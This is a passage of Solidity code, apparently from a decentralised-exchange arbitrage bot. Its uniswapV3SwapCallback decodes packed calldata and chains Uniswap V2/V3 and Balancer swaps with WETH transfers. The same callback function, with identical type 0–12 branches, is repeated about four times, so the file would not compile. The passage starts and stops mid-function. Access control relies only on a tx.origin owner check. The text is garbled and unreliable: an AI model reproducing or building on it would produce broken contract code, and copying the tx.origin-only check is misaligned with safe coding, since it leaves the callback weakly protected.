let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
